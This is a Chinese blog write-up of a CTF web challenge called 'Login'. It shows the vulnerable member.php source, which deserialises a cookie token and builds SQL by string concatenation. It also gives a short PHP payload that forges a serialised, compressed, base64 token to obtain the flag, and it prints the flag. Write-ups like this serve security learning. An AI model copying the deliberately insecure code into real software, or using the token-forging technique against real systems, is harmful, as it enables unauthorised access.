“百度杯”CTF比赛 十月场-Login

张伟文的博客 / 2024-04-19 / 原文

“百度杯”CTF比赛 十月场

Login:

题目类型:web

题目描述:加油,我看好你!打开靶机得到的是一个登陆界面:

解题方法:随便输入一个登陆一下试试:

想着是SQL注入,但是无论怎么尝试也找不到注入点,然后查看一下网页源码:

在源码下面找到一段注释,写着两个test1,猜测可能是登录名和密码,尝试登陆一下:

登陆成功,跳转到member.php页面,但是该页面下只有一个颜文字,查看网页源码没有什么有用的信息

用bp来抓包看一下:

在Response中发现一个特殊的参数show:0(之前看的时候都没有注意到),这种特殊的响应头很奇怪,我们试着在Request中加上一个show:1的响应头试一下,可能Response中的show:0可能是不显示什么的意思

果然这里将show改为1就得到了member.php的源码:

<!-- <?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}

	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}

?> -->(╯‵□′)╯︵┴─┴

现在就是审计这段php源码,审计完后我们知道只要让login中的user等于ichunqiu就会输出flag,然后这里我们要构造token的值,这里的token的值是经过base64,解压缩,反序列化后的结果:

所以我们可以构造如下payload:

<?php
$a=array('user'=>'ichunqiu');
$un=serialize($a);
$zp=gzcompress($un);
$pl=base64_encode($zp);
echo($pl);

打印输出我们的token值

最后在cookie里面添加我们的token值(注意:传的时候,在cookie中后面添加一个;然后加空格之后再加入token)

得到我们的flag:

flag{b79008d3-fa17-4425-bf17-b5b90250983e}

总结:这个比较迷惑的是开始的登陆界面,让人觉得是SQL注入,还有网页源码的中的给出的用户名和密码,多用bp抓包,注意看Response响应头里面有没有什么特殊的地方,比如这里的show:0